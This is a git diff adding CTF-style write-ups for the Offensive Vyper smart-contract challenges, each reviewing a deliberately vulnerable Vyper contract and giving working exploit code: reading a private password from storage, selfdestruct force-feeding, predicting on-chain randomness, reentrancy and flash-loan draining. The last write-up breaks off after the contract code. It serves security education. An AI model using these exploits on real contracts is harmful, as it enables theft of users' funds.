diff --git a/Offensive_Vyper/OffensiveVyper_00_PasswordVault.md b/Offensive_Vyper/OffensiveVyper_00_PasswordVault.md
new file mode 100644
index 0000000..53e5eec
--- /dev/null
+++ b/Offensive_Vyper/OffensiveVyper_00_PasswordVault.md
@@ -0,0 +1,141 @@
+## 0) Intro
+
+This article is the first write-up of the Offensive Vyper challenges created by [@jtriley_eth](https://twitter.com/jtriley_eth).
+
+You can find instructions on how to get started [here](https://github.com/JoshuaTrujillo15/offensive_vyper).
+
+
+## 1) Challenge
+
+> The Password Vault is a vault that holds Ether and is password protected. Your Objective is to steal all of the Ether in the Vault. While the password is stored in this repository, the objective is to do it without reading the password from `test/secrets/dont-peek.js`.
+
+
+## 2) Code Review
+
+`PasswordVault.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/2c02cb408e95030215ff5d2aef087213f64edd17/contracts/password-vault/PasswordVault.vy)):
+
+```python
+
+# @version ^0.3.2
+
+"""
+@title Password Protected Vault
+@author jtriley.eth
+"""
+
+password_hash: bytes32
+
+owner: address
+
+@external
+def __init__(password_hash: bytes32):
+ self.password_hash = password_hash
+
+ self.owner = msg.sender
+
+
+@external
+def set_new_password(old_password_hash: bytes32, new_password_hash: bytes32):
+ """
+ @notice Sets a new password hash. Passwords are hashed offchain for security.
+ @param old_password_hash Last password hash for authentication.
+ @param new_password_hash New password hash to set.
+ @dev Throws when password is invalid and the caller is not the owner.
+ """
+
+ assert self.password_hash == old_password_hash or msg.sender == self.owner, "unauthorized"
+
+ self.password_hash = new_password_hash
+
+
+@external
+def withdraw(password_hash: bytes32):
+ """
+ @notice Withdraws funds from vault.
+ @param password_hash Password hash for authentication.
+ @dev Throws when password hash is invalid and the caller is not the owner.
+ """
+
+ assert self.password_hash == password_hash or msg.sender == self.owner, "unauthorized"
+
+ send(msg.sender, self.balance)
+
+
+@external
+@payable
+def __default__():
+ pass
+
+```
+
+Contract main functions:
+
+- `set_new_password` is used to set a new password. It accepts the old password and the new password to set. It checks if the `old_password_hash` parameter equals the initial password (set during contract creation) and if the `msg.sender` equals the owner. If one of these two conditions is false, the function fails. So, the owner can change the password even without knowing the old one, and anyone who knows the current password can change it with a new one.
+
+- `withdraw` allows to withdraw the contract balance and sends it to the `msg.sender`. To withdraw the entire amount is required to provide the password hash. There are two checks in place: one checks if the password provided is equal to the `password_hash`, and the other if the `msg.sender` is the contract owner.
+
+
+>The `@dev` comment of both functions says:
+>Throws when password is invalid **and** the caller is not the owner.
+>These conditions are evaluated in a logical disjunction (**OR**), so only one of the two needs to be true to execute the functions.
+
+Therefore, since we are interested in stealing all the ETH, if we find a way to discover the value of the `password_hash`, we can withdraw the entire amount and solve the challenge (the condition `self.password_hash == password_hash` will be true).
+
+
+#### Where is `password_hash` value stored?
+
+`password_hash` is a contract variable and is initialized during the contract creation (line `14`). This variable is not public, so it's not accessible from the external. However, reading the [documentation](https://vyper.readthedocs.io/en/stable/scoping-and-declarations.html#storage-layout):
+> Storage variables are located within a smart contract at specific storage slots. By default, the compiler allocates the first variable to be stored at slot 0; subsequent variables are stored in order after that.
+
+The `password_hash` is the first contract variable (line `8`), so it's stored in the slot `0`.
+
+#### How can we read contract storage variables?
+
+Using the `getStorageAt` from the `ethers` library we can access the contract storage.
+
+
+## 3) Solution
+
+The solution consists of two steps:
+- retrieve the password hash from the contract storage
+- call the withdraw function providing this password
+
+`password-vault.challenge.js`:
+```javascript
+
+ it('Exploit', async function () {
+ // YOUR EXPLOIT HERE
+
+ let password = await attacker.provider.getStorageAt(this.vault.address, 0)
+
+ let exploit = await (await ethers.getContractFactory('PasswordVaultExploit', deployer)).deploy(this.vault.address)
+
+ await exploit.connect(attacker).run(password)
+
+ })
+
+```
+
+
+`PasswordVaultExploit.vy`:
+```python
+
+# YOUR EXPLOIT HERE
+@external
+def run(password_hash: bytes32):
+ Passwordvault(self.target).withdraw(password_hash)
+
+@external
+@payable
+def __default__():
+ pass
+
+```
+
+You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/password-vault.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/PasswordVaultExploit.vy).
+
+
+## 4) References
+
+- [storage-layout](https://vyper.readthedocs.io/en/stable/scoping-and-declarations.html#storage-layout)
+- [ethers - Provider.getStorageAt](https://docs.ethers.io/v5/api/providers/provider/#Provider-getStorageAt)
\ No newline at end of file
diff --git a/Offensive_Vyper/OffensiveVyper_01_UnstoppableAuction.md b/Offensive_Vyper/OffensiveVyper_01_UnstoppableAuction.md
new file mode 100644
index 0000000..5bbe0b5
--- /dev/null
+++ b/Offensive_Vyper/OffensiveVyper_01_UnstoppableAuction.md
@@ -0,0 +1,231 @@
+## 1) Challenge
+
+> The Unstoppable Auction is a simple Ether auction contract. It is supposedly permissionless and unstoppable. Your objective is to halt the auction.
+
+Challenge created by [@jtriley_eth](https://twitter.com/jtriley_eth).
+
+
+## 2) Code Review
+
+`UnstoppableAuction.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/unstoppable-auction/UnstoppableAuction.vy)):
+
+```python
+
+# @version ^0.3.2
+
+"""
+@title Unstoppable Auction
+@author jtriley.eth
+@license MIT
+"""
+
+event NewBid:
+ bidder: indexed(address)
+ amount: uint256
+
+
+owner: public(address)
+
+total_deposit: public(uint256)
+
+deposits: public(HashMap[address, uint256])
+
+highest_bid: public(uint256)
+
+highest_bidder: public(address)
+
+auction_start: public(uint256)
+
+auction_end: public(uint256)
+
+
+@external
+def __init__(auction_start: uint256, auction_end: uint256):
+ assert auction_start < auction_end, "invalid time stamps"
+
+ self.auction_start = auction_start
+
+ self.auction_end = auction_end
+
+ self.owner = msg.sender
+
+
+@internal
+def _handle_bid(bidder: address, amount: uint256):
+ assert self.balance == self.total_deposit + amount, "invalid balance"
+
+ assert self.auction_start <= block.timestamp and block.timestamp < self.auction_end, "not active"
+
+ # if the current bidder is not highest_bidder, assert their bid is higher than the last,
+ # otherwise, this means the highest_bidder is increasing their bid
+ if bidder != self.highest_bidder:
+ assert amount > self.highest_bid, "bid too low"
+
+ self.total_deposit += amount
+
+ self.deposits[bidder] += amount
+
+ self.highest_bid = amount
+
+ self.highest_bidder = bidder
+
+ log NewBid(bidder, amount)
+
+
+@external
+def withdraw():
+ """
+ @notice Withdraws a losing bid
+ @dev Throws if msg sender is still the highest bidder
+ """
+ assert self.highest_bidder != msg.sender, "highest bidder may not withdraw"
+
+ assert self.balance == self.total_deposit, "invalid balance"
+
+ amount: uint256 = self.deposits[msg.sender]
+
+ self.deposits[msg.sender] = 0
+
+ self.total_deposit -= amount
+
+ send(msg.sender, amount)
+
+
+@external
+def owner_withdraw():
+ """
+ @notice Owner withdraws Ether once the auction ends
+ @dev Throws if msg sender is not the owner or if the auction has not ended
+ """
+ assert msg.sender == self.owner, "unauthorized"
+
+ assert self.balance == self.total_deposit, "invalid balance"
+
+ assert block.timestamp >= self.auction_end, "auction not ended"
+
+ send(msg.sender, self.balance)
+
+
+@external
+@payable
+def bid():
+ """
+ @notice Places a bid if msg.value is greater than previous bid. If bidder is the
+ same as the last, allow them to increase their bid.
+ @dev Throws if bid is not high enough OR if auction is not live.
+ """
+ self._handle_bid(msg.sender, msg.value)
+
+
+@external
+@payable
+def __default__():
+ self._handle_bid(msg.sender, msg.value)
+
+
+```
+
+Contract main functions:
+
+- `_handle_bid` holds the logic for handling the bid. `bid` and the `__default__` functions call it. In particular, multiple conditions need to be satisfied to set a new bid:
+ - the contract balance is equal to the `total_deposit` variable plus the amount of the bid (line `42`)
+ - the auction is still valid (i.e. if it's started and not ended) - line `44.`
+ - the bidder is not the highest (line `48`); if it's true, it checks if the current bid is greater than the highest bid (line `49`). If the bidder is not the highest and the bid is not greater than the highest bid, the function fails with an assert message.
+ - it increments the value of the `total_deposit` variable (line `51`)
+ - it increments the bid of the bidder (line `53`)
+ - it sets the highest bid with the value of the current bid amount (line `55`)
+ - it sets the highest bidder with the current bidder (line `57`)
+
+- `withdraw` is used to withdraw the bid if it's not the highest:
+ - the caller is not the highest bidder (line `68`)
+ - the contract balance equals the `total_deposit` value
+ - lines `72-78`, update the `deposits` variable and sends the value deposited to the sender
+
+- `owner_withdraw` is used by the owner to withdraw the balance when the auction is ended
+- `bid` calls `_handle_bid`
+- `__default__`, the fallback function, calls `_handle_bid`
+
+Since our goal is to stop the auction from working, let's focus our attention on the `_handle_bid` function.
+
+#### How can we stop the contract from handling bids?
+
+If we can make one of the conditions inside the `_handle_bid` function permanently false, it will no longer complete its execution, causing a Denial-of-Service.
+
+Among the conditions in `_handle_bid`, only the condition at line `42` relies on comparing balance values that are stored in different places:
+- `self.balance` is the contract balance
+- `total_deposit` is a variable that is updated when someone sends a new highest bid
+
+When calling `withdraw`, both `self.balance` and `total_deposit` are updated with the same value:
+- `self.balance` is decreased because the `send` function is called (it transfers the balance of the contract to `msg.sender`)
+- `total_deposit` is reduced by the same amount that is sent to the `msg.sender`
+
+We need to find a way to update `self.balance` but not `total_deposit`. This way, the condition `assert self.balance == self.total_deposit + amount, "invalid balance"` will always be false.
+
+#### How can we send ETH to the contract?
+
+We can transfer ETH to the contract by calling `raw_call` (with some value amount) from a contract or using `sendTransaction` from a `ethers` script. However, the problem with this approach is that the fallback function defined in the contract will call the `_handle_bid`.
+
+#### Is there a way to transfer ETH without triggering any fallback function?
+
+The answer is **YES**. It's possible to send the balance of a contract to another one by calling `selfdestruct`. This way, no code is executed on the receiver contract, and thus the `__default__` fallback will not be called. However, the balance of the contract that calls `selfdestruct` will be transferred to the target contract. It means if we call `selfdestruct` from a contract we control (that has some balance) and we set the receiver to be the auction contract, we will update the auction balance but not the `total_deposit` variable, making the condition at line `42` false.
+
+
+## 3) Solution
+
+The solution consists of two steps:
+- send some ETH to our contract so that its balance will be `> 0`
+- execute the `run` function of our contract that will call `selfdestruct` specifying the receiver as the auction contract
+
+`unstoppable-auction.challenge.js`:
+```javascript
+
+ it('Exploit', async function () {
+ // YOUR EXPLOIT HERE
+
+ let exploit = await (
+ await ethers.getContractFactory('UnstoppableAuctionExploit', deployer)
+ ).deploy(this.auction.address)
+
+
+ let tx = {
+ to: exploit.address,
+ value: ethers.utils.parseEther("0.001"),
+ gasLimit: 50000
+ }
+
+ await attacker.sendTransaction(tx)
+
+
+ await exploit.connect(attacker).run();
+
+ })
+
+```
+
+
+`UnstoppableAuctionExploit.vy`:
+```python
+
+# YOUR EXPLOIT HERE
+@external
+def run():
+ selfdestruct(self.target)
+
+
+@external
+@payable
+def __default__():
+ pass
+
+```
+
+You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/unstoppable-auction.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/UnstoppableAuctionExploit.vy).
+
+
+## 4) References
+
+- [vyper - raw_call](https://vyper.readthedocs.io/en/v0.3.6/built-in-functions.html#raw_call)
+- [vyper - selfdestruct](https://vyper.readthedocs.io/en/v0.3.6/built-in-functions.html#selfdestruct)
+- [ethers - sendTransaction](https://docs.ethers.io/v5/api/signer/#Signer-sendTransaction)
+- [SWC-132 - Unexpected Ether balance](https://swcregistry.io/docs/SWC-132)
+- [Force Feeding - selfdestruct](https://consensys.github.io/smart-contract-best-practices/attacks/force-feeding/#selfdestruct)
\ No newline at end of file
diff --git a/Offensive_Vyper/OffensiveVyper_02_CoinFlipper.md b/Offensive_Vyper/OffensiveVyper_02_CoinFlipper.md
new file mode 100644
index 0000000..0e87980
--- /dev/null
+++ b/Offensive_Vyper/OffensiveVyper_02_CoinFlipper.md
@@ -0,0 +1,189 @@
+## 1) Challenge
+
+> The Coin Flipper is a true/false coin-toss with a 50% chance of either. It costs one Ether to play, but pays two Ether on a correct guess. On a long enough timescale, players are expected to break even. Your objective is to not break even; drain all ten Ether from the contract.
+
+Challenge created by [@jtriley_eth](https://twitter.com/jtriley_eth).
+
+
+## 2) Code Review
+
+This challenge has two contracts: `CoinFlipper`, used to handle the coin-toss logic, and `RandomNumber`, used to generate random numbers.
+
+`CoinFlipper.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/coin-flipper/CoinFlipper.vy)):
+
+```python
+
+# @version ^0.3.2
+
+"""
+@title Coin Flipper
+@author jtriley.eth
+"""
+
+interface Rng:
+ def generate_random_number() -> uint256: nonpayable
+
+
+event Winner:
+ account: indexed(address)
+ amount: uint256
+
+
+generator: public(address)
+
+cost: constant(uint256) = 10 ** 18
+
+
+@external
+@payable
+def __init__(generator: address):
+ self.generator = generator
+
+
+@external
+@payable
+def flip_coin(guess: bool):
+ """
+ @notice Takes a guess and 1 ether. If correct, it pays 2 ether.
+ @param guess Heads or Tails (true for heads).
+ @dev Throws when value is not 1 ether.
+ """
+ assert msg.value == cost, "cost is 1 ether"
+
+ side: bool = Rng(self.generator).generate_random_number() % 2 == 0
+
+ if side == guess:
+
+ amount: uint256 = cost * 2
+
+ send(msg.sender, amount)
+
+ log Winner(msg.sender, amount)
+
+
+```
+
+The main function of this contract is `flip_coin`:
+
+- it accepts a boolean value (the guess)
+- it checks if `1` ETH is sent (line `36`).
+- it calls the `generate_random_number` from the `RandomNumber` contract and checks if module `2` of the result is equal to `0` (line `38`)
+- the resulting boolean value is compared with the `guess` parameter (line `40`)
+- if they are equal, the sender will receive `2` ETH (lines `42-44`)
+
+`RandomNumber.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/coin-flipper/RandomNumber.vy))
+
+```python
+
+# @version ^0.3.2
+
+"""
+@title Random Number Generator
+@author jtriley.eth
+"""
+
+nonce: public(uint256)
+
+@external
+def generate_random_number() -> uint256:
+ """
+ @notice Generates a random number for the caller.
+ @dev Increment nonce to ensure two contracts don't receive the same value in the same block.
+ """
+ digest: bytes32 = keccak256(
+ concat(
+ block.prevhash,
+ convert(block.timestamp, bytes32),
+ convert(block.difficulty, bytes32),
+ convert(self.nonce, bytes32)
+ )
+ )
+
+ self.nonce += 1
+
+ return convert(digest, uint256)
+
+```
+
+It exposes only one function, `generate_random_number` that is responsible for computing a random number:
+- it uses block information like the previous hash, timestamp and the difficulty
+- it concatenates all these values with also a `nonce` variable
+- finally, it computes the `keccak256` of this value and increments the nonce by `1`
+
+Generating random numbers has always been challenging in the blockchain context. In this case, everyone can also know the source of randomness used (i.e. the block information) since this information is public.
+
+#### How can we guess the right coin flip?
+
+Given that we can access the same information that the `generate_random_number` uses to compute the "random" number, to guess the right coin flip, we can replicate the code inside the function, calculate the boolean value and then call the `flip_coin`.
+
+We need to replicate the code inside `generate_random_number` and not simply call that function because, at every call, it updates the `nonce` variable. So if we first call `generate_random_number` to compute the value and then pass the resulting boolean value to `flip_coin`, `generate_random_number` will be called again, but the nonce will be different from the one we used, leading to a potentially different result. So, if we replicate the code, we can also replicate the nonce value and compute the right guess.
+
+## 3) Solution
+
+The solution consists of different steps:
+- call our contract function, sending `1` ETH
+- compute the same random number using the same code of `generate_random_number`
+- call `flip_coin` we the value just computed
+- increment the nonce
+- Repeat these steps ten times until we drained all the founds (the balance of the `CoinFlip` contract is `10` ETH, so if each time we win, we'll decrease the balance by one)
+
+
+`coin-flipper.challenge.js`:
+```javascript
+
+ it('Exploit', async function () {
+ // YOUR EXPLOIT HERE
+
+ let exploit = await (await ethers.getContractFactory('CoinFlipperExploit', deployer)).deploy(this.coinFlipper.address)
+
+ await exploit.connect(attacker).run({
+ value: ethers.utils.parseEther('1')
+ });
+
+ })
+
+```
+
+
+`CoinFlipperExploit.vy`:
+```python
+
+# YOUR EXPLOIT HERE
+@internal
+def guess(nonce: uint256) -> bool:
+ digest: bytes32 = keccak256(
+ concat(
+ block.prevhash,
+ convert(block.timestamp, bytes32),
+ convert(block.difficulty, bytes32),
+ convert(nonce, bytes32)
+ )
+ )
+
+ return convert(digest, uint256) % 2 == 0
+
+@external
+@payable
+def run():
+ assert msg.value == 10 ** 18, "Not enough ETH"
+
+ for nonce in range(10):
+ raw_call(
+ self.target,
+ _abi_encode(self.guess(nonce), method_id=method_id("flip_coin(bool)")),
+ value=msg.value
+ )
+
+@external
+@payable
+def __default__():
+ pass
+
+```
+
+
+You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/coin-flipper.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/CoinFlipperExploit.vy).
+
+## 4) References
+
+- [SWC-120 - Weak Sources of Randomness from Chain Attributes](https://swcregistry.io/docs/SWC-120)
\ No newline at end of file
diff --git a/Offensive_Vyper/OffensiveVyper_03_EtherVault.md b/Offensive_Vyper/OffensiveVyper_03_EtherVault.md
new file mode 100644
index 0000000..0ec06ce
--- /dev/null
+++ b/Offensive_Vyper/OffensiveVyper_03_EtherVault.md
@@ -0,0 +1,138 @@
+## 1) Challenge
+
+> The Ether Vault allows deposits and withdrawals. It currently holds 10 Ether. Your objective is to drain all of the Ether from the vault.
+
+Challenge created by [@jtriley_eth](https://twitter.com/jtriley_eth).
+
+
+## 2) Code Review
+
+`EtherVault.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/ether-vault/EtherVault.vy)):
+
+```python
+
+# @version ^0.3.2
+
+"""
+@title Ether Liquidity Pool
+@author jtriley.eth
+"""
+
+
+event Deposit:
+ account: indexed(address)
+ amount: uint256
+
+event Withdrawal:
+ account: indexed(address)
+ amount: uint256
+
+
+deposits: public(HashMap[address, uint256])
+
+
+@external
+@payable
+def deposit():
+ """
+ @notice Deposits Ether.
+ """
+ self.deposits[msg.sender] = unsafe_add(self.deposits[msg.sender], msg.value)
+
+ log Deposit(msg.sender, msg.value)
+
+
+@external
+def withdraw():
+ """
+ @notice Withdraws Ether.
+ """
+ amount: uint256 = self.deposits[msg.sender]
+
+ raw_call(msg.sender, b"", value=amount)
+
+ self.deposits[msg.sender] = 0
+
+ log Withdrawal(msg.sender, amount)
+
+
+@external
+@payable
+def __default__():
+ """
+ @notice Receives Ether as Deposit.
+ """
+ self.deposits[msg.sender] = unsafe_add(self.deposits[msg.sender], msg.value)
+
+ log Deposit(msg.sender, msg.value)
+
+
+```
+
+Contract main functions:
+
+- `deposit` and the fallback function `__default__` update the public variable `deposits` (a HashMap that holds the balances of different accounts), incrementing the balance of the account that calls the function (line 27 and line 52)
+
+- `withdraw` takes the value from the `deposits` variable (line 37), sends this value to `msg.sender` and later set the `deposits` balance for `msg.sender` equals to `0`
+
+#### How can we drain all the ETH balance from the contract?
+
+The `withdraw` function is vulnerable to a reentrancy attack because it first sends ETH to the caller and only later updates their balance. It means we can call again the withdraw function (in our fallback function) and drain all the funds from the contract. It is possible because the variable used to determine the withdrawal amount, i.e. `deposits`, is only updated after the ETH are sent, so if we re-enter the function by calling again as soon as we receive some ETH, it will hold the same value again (so we'll receive the same amount). If we repeat these steps until the `EtherVault` has funds, we can drain all its ether.
+
+
+## 3) Solution
+
+The solution consists of four different steps:
+- send `1` ETH to our attack contract
+- from our contract, deposit `1` ETH so that the `deposits` variable for our contract will hold `1` ETH
+- call the `withdraw` function
+- inside the `__default__` fallback function, call the `withdraw` function again until the `EtherVault` balance is greater than `0`
+
+`ether-vault.challenge.js`:
+```javascript
+
+ it('Exploit', async function () {
+ // YOUR EXPLOIT HERE
+
+ let exploit = await (await ethers.getContractFactory('EtherVaultExploit', deployer)).deploy(this.vault.address)
+
+ await exploit.connect(attacker).run({
+ value: ethers.utils.parseEther('1')
+ });
+
+ })
+
+```
+
+
+`EtherVaultExploit.vy`:
+```python
+
+# YOUR EXPLOIT HERE
+@external
+@payable
+def run():
+ raw_call(
+ self.target,
+ _abi_encode("", method_id=method_id("deposit()")),
+ value=msg.value
+ )
+
+ Ethervault(self.target).withdraw()
+
+
+@external
+@payable
+def __default__():
+ if self.target.balance > 0:
+ Ethervault(self.target).withdraw()
+
+```
+
+
+You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/ether-vault.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/EtherVaultExploit.vy).
+
+
+## 4) References
+
+- [SWC-107 - Reentrancy](https://swcregistry.io/docs/SWC-107)
\ No newline at end of file
diff --git a/Offensive_Vyper/OffensiveVyper_04_EtherFlashLoan.md b/Offensive_Vyper/OffensiveVyper_04_EtherFlashLoan.md
new file mode 100644
index 0000000..0b91472
--- /dev/null
+++ b/Offensive_Vyper/OffensiveVyper_04_EtherFlashLoan.md
@@ -0,0 +1,176 @@
+## 1) Challenge
+
+> The Ether Flash Loan contract allows liquidity providers deposit Ether. The Ether in the pool can be lent out in a flash loan. The receiver of the flash loan must expose a payable `execute()` function. By the end of `execute()`, the flash loan must be payed back. There is no fee. Your objective is to drain the flash loan pool, despite those pesky reentrancy guards.
+
+Challenge created by [@jtriley_eth](https://twitter.com/jtriley_eth).
+
+
+## 2) Code Review
+
+`EtherFlashLoan.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/ether-flash-loan/EtherFlashLoan.vy)):
+
+```python
+
+# @version ^0.3.2
+
+"""
+@title Ether Flash Loan Pool
+@author jtriley.eth
+"""
+
+interface IFlashLoanReceiver:
+ def execute(): payable
+
+event Deposit:
+ account: indexed(address)
+ amount: uint256
+
+event Withdrawal:
+ account: indexed(address)
+ amount: uint256
+
+
+deposits: public(HashMap[address, uint256])
+
+
+@external
+@payable
+@nonreentrant('deposit')
+def deposit():
+ """
+ @notice Deposits Ether.
+ """
+ self.deposits[msg.sender] += msg.value
+ log Deposit(msg.sender, msg.value)
+
+
+@external
+@nonreentrant('withdraw')
+def withdraw(amount: uint256):
+ """
+ @notice Withdraws Ether.
+ @param amount Withdrwawal amount.
+ @dev Throws when amount is gt than deposit.
+ """
+ sender_deposit: uint256 = self.deposits[msg.sender]
+
+ assert sender_deposit >= amount, "not enough deposited"
+
+ self.deposits[msg.sender] = sender_deposit - amount
+
+ raw_call(msg.sender, b"", value=amount)
+
+ log Withdrawal(msg.sender, amount)
+
+
+@external
+@nonreentrant('flash_loan')
+def flash_loan(amount: uint256):
+ """
+ @notice Flash Loans to caller.
+ @param amount Amount to flash loan.
+ @dev Throws when insufficient balance OR flash loan isn't paid back.
+ """
+ balance_before: uint256 = self.balance
+
+ assert balance_before >= amount, "not enough balance"
+
+ IFlashLoanReceiver(msg.sender).execute(value=amount)
+
+ assert self.balance >= balance_before, "flash loan not paid back"
+
+
+@external
+@payable
+def __default__():
+ """
+ @notice For paying back flash loans ONLY.
+ """
+ pass
+
+```
+
+Contract main functions:
+
+- `deposit` updates the accounting variable `deposits` with the `msg.value` deposited by the `msg.sender` (line `30`). It's a payable function
+- `withdraw` is responsible for withdrawing the amount requested:
+ - it accepts as input the amount to withdraw
+ - it retrieves the amount deposited for a given account (line `42`),
+ - it checks if the amount requested is less than the one deposited (line `44`)
+ - it updates the balance of `msg.sender` (line `46`)
+ - finally, it sends this amount to `msg.sender` (line `48`)
+- `flash_loan` holds the logic for providing loans:
+ - it accepts as input the loan amount
+ - it checks if the caller has enough balance (line `63`)
+ - it calls the `execute`, exposed by the receiver contract (line `65`)
+ - finally, it checks if the amount is paid it back (line `67`)
+
+All these functions are decorated with `nonreentrant` meaning they're guarded against reentrancy attacks.
+
+To withdraw, we need first to have some amount deposited. The amount deposited is stored in the `deposits` variable inside the `deposit` function.
+
+So if we can deposit some ETH, we can later withdraw them. Of course, we can use the `flash_loan` function to request some ETH. Also, once we receive them, in the same transaction, we can `deposit` them. In this case, if we deposit the ETH borrowed, we both updates the `deposits` variable, but we also pay the loan back because the `deposit` function is a payable function. However, once we have paid back the loan, the `deposits` variable will still hold the amount we have deposited. So if we then call the `withdraw` function, the condition at line `44` will be true, and thus we will be able to steal all the account ETH.
+
+
+## 3) Solution
+
+The solution consists of the following steps:
+- call the `flash_loan` function asking for `2 ETH` (the contract balance)
+- inside the `execute` function, call the `deposit` function and deposit `2 ETH`
+- once the execution of the `flash_loan` is completed, we call the `withdraw` function in order to receive the ETH amount saved in `deposits`
+
+`ether-flash-loan.challenge.js`:
+```javascript
+
+ it('Exploit', async function () {
+ // YOUR EXPLOIT HERE
+
+ let exploit = await (await ethers.getContractFactory('EtherFlashLoanExploit', deployer)).deploy(this.etherFlashLoan.address)
+
+ await exploit.connect(attacker).run();
+
+ })
+
+```
+
+`EtherFlashLoanExploit.vy`:
+```python
+
+# YOUR EXPLOIT HERE
+@external
+def run():
+ amount: uint256 = self.target.balance
+
+ Etherflashloan(self.target).flash_loan(amount)
+
+ Etherflashloan(self.target).withdraw(amount)
+
+
+@external
+@payable
+def execute():
+ """
+ @notice This is the interface the Flash Loan Pool will try to call.
+ Changing the external interface of this function will revert.
+ """
+
+ raw_call(
+ self.target,
+ _abi_encode("", method_id=method_id("deposit()")),
+ value=msg.value
+ )
+
+
+@external
+@payable
+def __default__():
+ pass
+
+```
+
+You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/ether-flash-loan.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/EtherFlashLoanExploit.vy).
+
+
+## 4) References
+
+- [Re-entrancy Locks](https://vyper.readthedocs.io/en/v0.3.7/control-structures.html?highlight=nonreentrant#re-entrancy-locks)
\ No newline at end of file
diff --git a/Offensive_Vyper/OffensiveVyper_05_FlashReceiver.md b/Offensive_Vyper/OffensiveVyper_05_FlashReceiver.md
new file mode 100644
index 0000000..83b8c20
--- /dev/null
+++ b/Offensive_Vyper/OffensiveVyper_05_FlashReceiver.md
@@ -0,0 +1,211 @@
+## 1) Challenge
+
+>{{< admonition quote "Description" >}}
+>
+>The Flash Receiver contract is a receiver of an ERC20-based flash loan pool. The Flash Pool contract is the ERC20-based flash loan contract. There is a flash fee of ten tokens for each flash loan. Your objective is to drain the Flash Receiver contract.
+>
+>{{< /admonition >}}
+
+Challenge created by [@jtriley_eth](https://twitter.com/jtriley_eth).
+
+
+## 2) Code Review
+
+This challenge has two contracts: `FlashReceiver` and `FlashPool`.
+
+`FlashReceiver.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/flash-receiver/FlashReceiver.vy)):
+```python
+
+# @version ^0.3.2
+
+"""
+@title Flash Loan Receiver Supporting ERC20 Token
+@author jtriley.eth
+"""
+
+from vyper.interfaces import ERC20
+
+interface Flash_pool:
+ def deposit(amount: uint256): nonpayable
+ def withdraw(amount: uint256): nonpayable
+ def flash_loan(amount: uint256): nonpayable
+ def deposits(arg0: address) -> uint256: view
+ def token() -> address: view
+ def flash_fee() -> uint256: view
+
+token: public(address)
+
+pool: public(address)
+
+
+@external
+def __init__(token: address, pool: address):
+ self.token = token
+ self.pool = pool
+
+
+@internal
+def _execute_action(amount: uint256):
+ pass
+
+
+@external
+def execute(amount: uint256):
+ """
+ @notice Receives flash loan, executes action, then pays back the flash loan + the fee
+ @dev Reverts when caller is not the pool itself.
+ """
+ assert msg.sender == self.pool, "invalid caller"
+ self._execute_action(amount)
+ fee: uint256 = Flash_pool(self.pool).flash_fee()
+ ERC20(self.token).transfer(self.pool, amount + fee)
+
+
+@external
+def initiate_flash_loan(amount: uint256):
+ """
+ @notice Initiates flash loan from the pool.
+
+ Receiver.initiate_flash_loan -> Pool.flash_loan -> Receiver.execute
+ """
+ Flash_pool(self.pool).flash_loan(amount)
+
+```
+
+Contract main functions:
+- `execute`:
+ - checks if the sender is the pool (line `40`), meaning this function can be called only by the pool contract
+ - calls the `_execute_action` function (that does nothing) - line `41`
+ - retrieves the fee from the pool that is equal to `10 ETH` (line `42`)
+ - transfers to the pool contract the amount received as an input plus the fee of `10 ETH` (line `43`)
+- `initiate_flash_loan` accepts an amount and calls the `flash_loan` function from the pool contract (line `53`)
+
+
+`FlashPool.vy` contract ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/flash-receiver/FlashPool.vy)):
+```python
+
+# @version ^0.3.2
+
+"""
+@title Flash Loan Pool Supporting ERC20 Token
+@author jtriley.eth
+"""
+
+from vyper.interfaces import ERC20
+
+interface IFlashLoanReceiver:
+ def execute(amount: uint256): nonpayable
+
+
+event Deposit:
+ account: indexed(address)
+ amount: uint256
+
+
+event Withdrawal:
+ account: indexed(address)
+ amount: uint256
+
+
+deposits: public(HashMap[address, uint256])
+
+
+flash_fee: public(uint256)
+
+
+token: public(address)
+
+
+@external
+def __init__(token: address):
+ self.token = token
+ self.flash_fee = 10000000000000000000
+
+
+@external
+def deposit(amount: uint256):
+ """
+ @notice Deposits ERC20 token.
+ @param amount Amount to deposit.
+ @dev Reverts when balance or approval of ERC20 is insufficient.
+ """
+ ERC20(self.token).transferFrom(msg.sender, self, amount)
+ self.deposits[msg.sender] += amount
+ log Deposit(msg.sender, amount)
+
+
+@external
+def withdraw(amount: uint256):
+ """
+ @notice Withdraws ERC20 token.
+ @param amount Amount to withdraw.
+ @dev Reverts when deposit amount is insufficient.
+ """
+ self.deposits[msg.sender] -= amount
+ ERC20(self.token).transferFrom(self, msg.sender, amount)
+ log Withdrawal(msg.sender, amount)
+
+
+@external
+def flash_loan(amount: uint256):
+ """
+ @notice Executes a flash loan, expects the token to be transferred back before completion.
+ @param amount Amount to flash loan.
+ @dev Reverts when insufficient balance OR when the amount + flash fee is not paid back.
+ """
+ balance_before: uint256 = ERC20(self.token).balanceOf(self)
+
+ assert balance_before >= amount, "insufficient balance"
+
+ ERC20(self.token).transfer(msg.sender, amount)
+ IFlashLoanReceiver(msg.sender).execute(amount)
+ balance_after: uint256 = ERC20(self.token).balanceOf(self)
+ assert balance_after >= balance_before + self.flash_fee, "not paid back"
+
+```
+
+
